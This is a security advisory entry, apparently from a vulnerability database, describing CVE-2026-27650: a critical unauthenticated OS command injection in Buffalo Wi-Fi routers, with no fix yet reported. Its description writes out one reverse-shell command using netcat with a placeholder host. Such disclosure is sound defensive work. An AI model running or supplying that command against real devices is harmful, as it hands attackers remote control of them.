PT-2026-28355 · Buffalo · Buffalo Wi-Fi Router

Published 2026-03-27 · Updated 2026-04-09 · CVE-2026-27650

Positive Technologies (AI Summary)

CVSS v3.1

9.8

Critical

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Name of the Vulnerable Software and Affected Versions BUFFALO Wi-Fi router products (affected versions not specified)

Description An OS Command Injection issue exists in BUFFALO Wi-Fi router products. Successful exploitation of this issue could allow an attacker to execute arbitrary OS commands on the affected devices. Reports indicate that default configurations are vulnerable and can be compromised. Exploitation involves a vulnerable endpoint allowing remote, unauthenticated OS command injection. An attacker could potentially gain control of the device and execute commands such as nc -e /bin/sh 0.0.0.0 1337.

Recommendations At the moment, there is no information about a newer version that contains a fix for this vulnerability.

RCE

OS Command Injection

Weakness Enumeration

CWE-78

Related Identifiers

CVE-2026-27650

Affected Products

Buffalo Wi-Fi Router

References · 8

• https://buffalo.jp/news/detail/20260323-01.html · Vendor Advisory
• https://nvd.nist.gov/vuln/detail/CVE-2026-27650 · Security Note
• https://twitter.com/integ_sec/status/2042275479076380920 · Twitter Post
• https://twitter.com/TheRabbitPy/status/2037510089758683237 · Twitter Post
• https://twitter.com/CVEnew/status/2037513373064048789 · Twitter Post
• https://twitter.com/TheRabbitPy/status/2037493477387149469 · Twitter Post
• https://twitter.com/TheHackerWire/status/2037998152046051546 · Twitter Post
• https://jvn.jp/en/jp/JVN83788689 · Note